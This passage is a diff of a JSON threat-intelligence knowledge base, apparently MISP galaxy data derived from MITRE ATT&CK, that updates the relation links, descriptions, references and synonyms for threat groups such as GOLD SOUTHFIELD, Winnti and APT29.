"dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", @@ -7014,13 +6953,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ @@ -7404,17 +7336,19 @@ "value": "Tonto Team - G0131" }, { - "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)", + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2018 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)", "meta": { "external_id": "G0115", "refs": [ "https://attack.mitre.org/groups/G0115", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", "https://www.secureworks.com/blog/revil-the-gandcrab-connection", "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "https://www.secureworks.com/research/threat-profiles/gold-southfield" ], "synonyms": [ - "GOLD SOUTHFIELD" + "GOLD SOUTHFIELD", + "Pinchy Spider" ] }, "related": [ @@ -7482,14 +7416,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7801,6 +7735,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", "tags": [ @@ -8344,6 +8285,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -8684,6 +8632,9 @@ "refs": [ "https://attack.mitre.org/groups/G0143", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" + ], + "synonyms": [ + "Aquatic Panda" ] }, "related": [ @@ -8764,13 +8715,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -8785,6 +8729,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -8832,6 +8783,13 @@ ] }, "related": [ + { + "dest-uuid": "084517bc-b8e7-5c86-a218-3f19e1379f3e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ @@ -8964,13 +8922,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "084517bc-b8e7-5c86-a218-3f19e1379f3e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "e44e0985-bc65-4a8f-b578-211c858128e3", @@ -9114,6 +9065,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "tags": [ @@ -9205,6 +9163,13 @@ ], "type": "uses" }, + { + "dest-uuid": "9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", "tags": [ @@ -9518,13 +9483,6 @@ ], "type": "uses" }, - { - "dest-uuid": "93ae2edf-a598-4d2d-acd7-bcae0c021923", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -9567,13 +9525,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -10208,11 +10159,11 @@ "external_id": "G0001", "refs": [ "http://blogs.cisco.com/security/talos/threat-spotlight-group-72", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", "https://attack.mitre.org/groups/G0001", "https://securelist.com/games-are-over/70991/", - "https://securelist.com/winnti-more-than-just-a-game/37029/" + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" ], "synonyms": [ "Axiom", @@ -10633,6 +10584,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", "tags": [ @@ -11060,13 +11018,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ @@ -11172,6 +11123,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ @@ -11316,6 +11274,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", "tags": [ @@ -11722,6 +11687,13 @@ ], "type": "similar" }, + { + "dest-uuid": "ad1a6df6-2251-5e47-a245-8693c1ace8fb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", "tags": [ @@ -11799,13 +11771,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ @@ -11820,6 +11785,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -11932,13 +11904,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ @@ -11952,13 +11917,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ad1a6df6-2251-5e47-a245-8693c1ace8fb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e", @@ -12263,6 +12221,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -12597,6 +12562,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3d9f700c-5eb5-5d36-a6e7-47b55f2844cd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "tags": [ @@ -13191,13 +13163,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "3d9f700c-5eb5-5d36-a6e7-47b55f2844cd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c", @@ -13216,13 +13181,6 @@ ] }, "related": [ - { - "dest-uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", "tags": [ @@ -13962,6 +13920,13 @@ ], "type": "uses" }, + { + "dest-uuid": "231a81cd-4e24-590b-b084-1a4715b30d67", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ @@ -13983,6 +13948,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -14109,13 +14081,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -14158,6 +14123,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -14241,13 +14213,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "231a81cd-4e24-590b-b084-1a4715b30d67", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", @@ -14342,6 +14307,13 @@ ], "type": "uses" }, + { + "dest-uuid": "a4aba29f-fb91-50d9-bdf9-2b184922a200", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, { "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", "tags": [ @@ -14369,13 +14341,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "a4aba29f-fb91-50d9-bdf9-2b184922a200", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", @@ -14762,13 +14727,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", "tags": [ @@ -14804,6 +14762,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -15215,7 +15180,7 @@ "value": "APT18 - G0026" }, { - "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)", "meta": { "external_id": "G0016", "refs": [ @@ -15224,6 +15189,7 @@ "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF", "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", @@ -15239,6 +15205,8 @@ "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf", "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html", "https://www.secureworks.com/research/threat-profiles/iron-ritual", "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", @@ -15257,7 +15225,9 @@ "YTTRIUM", "The Dukes", "Cozy Bear", - "CozyDuke" + "CozyDuke", + "SolarStorm", + "Blue Kitsune" ] }, "related": [ @@ -15275,13 +15245,6 @@ ], "type": "uses" }, - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ @@ -15296,13 +15259,6 @@ ], "type": "uses" }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "066b057c-944e-4cfc-b654-e3dfba04b926", "tags": [ @@ -15311,14 +15267,14 @@ "type": "uses" }, { - "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15338,20 +15294,6 @@ ], "type": "uses" }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6", "tags": [ @@ -15373,13 +15315,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ @@ -15387,13 +15322,6 @@ ], "type": "uses" }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -15401,13 +15329,6 @@ ], "type": "uses" }, - { - "dest-uuid": "24769ab5-14bd-4f4e-a752-cfb185da53ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", "tags": [ @@ -15415,13 +15336,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ @@ -15443,13 +15357,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -15478,13 +15385,6 @@ ], "type": "uses" }, - { - "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "32f49626-87f4-4d6c-8f59-a0dca953fe26", "tags": [ @@ -15492,20 +15392,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3a4197ae-ec63-4162-907b-9a073d1157e4", "tags": [ @@ -15514,14 +15400,7 @@ "type": "uses" }, { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "dest-uuid": "3d52e51e-f6db-4719-813c-48002a99f43a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15548,34 +15427,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "438c967d-3996-4870-bfc2-3954752a1927", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "47124daf-44be-4530-9c63-038bc64318dd", "tags": [ @@ -15583,20 +15434,6 @@ ], "type": "uses" }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "tags": [ @@ -15604,27 +15441,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "54a01db0-9fab-4d5f-8209-53cef8425f4a", "tags": [ @@ -15647,7 +15463,7 @@ "type": "uses" }, { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "dest-uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15688,20 +15504,6 @@ ], "type": "uses" }, - { - "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830", "tags": [ @@ -15744,27 +15546,6 @@ ], "type": "uses" }, - { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ @@ -15772,27 +15553,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331", "tags": [ @@ -15829,7 +15589,7 @@ "type": "uses" }, { - "dest-uuid": "861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "dest-uuid": "8861073d-d1b8-4941-82ce-dce621d398f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15842,20 +15602,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", "tags": [ @@ -15863,13 +15609,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ @@ -16017,13 +15756,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ @@ -16052,20 +15784,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bdad6f3b-de88-42fa-9295-d29b5271808e", "tags": [ @@ -16073,13 +15791,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -16094,13 +15805,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c26f1c05-b861-4970-94dc-2f7f921a3074", "tags": [ @@ -16108,20 +15812,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", "tags": [ @@ -16143,27 +15833,6 @@ ], "type": "uses" }, - { - "dest-uuid": 